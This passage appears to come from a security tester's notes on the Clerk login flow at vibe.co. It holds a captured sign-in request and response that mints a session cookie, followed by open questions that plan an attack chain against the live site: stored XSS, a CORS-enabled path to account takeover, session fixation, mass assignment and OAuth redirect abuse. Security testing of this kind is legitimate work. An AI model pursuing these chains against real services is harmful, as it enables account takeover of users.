 "last_active_token":{"jwt":"eyJhbGciOiJSUzI1NiI..."}   # a fresh session JWT, minted from the cookie
}]}}
E2The sign_ins request and responsetested live · the call that mints __client

Evidence for section 07.

http
POST /v1/client/sign_ins?__clerk_api_version=2025-11-10&_clerk_js_version=5.128.0 HTTP/2
Host: clerk.vibe.co
Origin: https://www.vibe.co
Referer: https://www.vibe.co/
Content-Type: application/x-www-form-urlencoded
Cookie: __client=eyJ...eyJpZCI6ImNsaWVudF8zSnZHZTdDQ1ls...  # existing client handle, rotating_token inside
        cf_clearance=...                                   # (+ analytics cookies, trimmed)

locale=en-US&strategy=oauth_google
&redirect_url=https://www.vibe.co/sign-in/sso-callback
      ?sign_up_fallback_redirect_url=https://www.vibe.co/welcome
      &sign_in_fallback_redirect_url=https://www.vibe.co/dashboard
      &redirect_url=https://www.vibe.co/dashboard/settings/my-applications/859cc683-.../edit?tab=app-information
&action_complete_redirect_url=https://www.vibe.co/dashboard/settings/my-applications/859cc683-.../edit?tab=app-information

and the response mints the cookie and returns an empty, pending client:

http
HTTP/2 200 OK
Access-Control-Allow-Origin: https://www.vibe.co        # same-site, ACAC: true
Set-Cookie: __client=eyJ...; Domain=clerk.vibe.co; Max-Age=315360000; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __client_uat=0;  Domain=vibe.co;       Max-Age=315360000; Secure; SameSite=Lax

{"response":{"object":"sign_in_attempt","status":"needs_identifier",
  "first_factor_verification":{"strategy":"oauth_google",
    "external_verification_redirect_url":"https://accounts.google.com/o/oauth2/auth?...
        &redirect_uri=https%3A%2F%2Fclerk.vibe.co%2Fv1%2Foauth_callback&state=9eiplj1mb4t6..."}},
 "client":{"sessions":[],"client_trust_state":"pending", ...}}   # no user bound yet

Open items

Open questions

  • Is the howItWorks XSS publishable, review-gated or self only, which decides whether it is stored, blind or floor
  • Does the GraphQL schema hide fields the UI never shows, owner id, isVerified, isInternal, that a mass-assignment could set
  • What exactly does redirectUrls accept at authorize time, as opposed to what the create call stores
  • Which later consumer, if any, fetches the five URL fields server-side, and does it reach anything internal
  • Do the other panel features with URL inputs, advertisers, app tracking, the invite flow, share this lack of output encoding
  • The Clerk CORS allowlist is all of *.vibe.co with ACAC: true, so which live subdomains carry an XSS or takeover to complete the ATO chain, and is our own howItWorks XSS on www.vibe.co the shortest path
  • Answered: __client is minted anonymous by POST /v1/client/sign_ins at the start of OAuth, Domain=clerk.vibe.co, HttpOnly, SameSite=Lax, bound to a user only after the Google round-trip, see the lead
  • Next session, the core question: what does www.vibe.co send that earns the very first __client from clerk.vibe.co, a token exchange or a shared .vibe.co domain cookie, capture the cold first issue in a clean browser to decide
  • Next session: is the anonymous handle a session-fixation / login-CSRF primitive, mint a __client, plant it in a victim via the OAuth top-level redirect, and have their login bind to our client
  • Next session: are redirect_url and action_complete_redirect_url in that sign-in POST validated, or is it an OAuth open-redirect / redirect_uri abuse lead
  • Is the review-gated howItWorks blind XSS confirmed by a real callback from a Vibe reviewer session, and does that session carry __client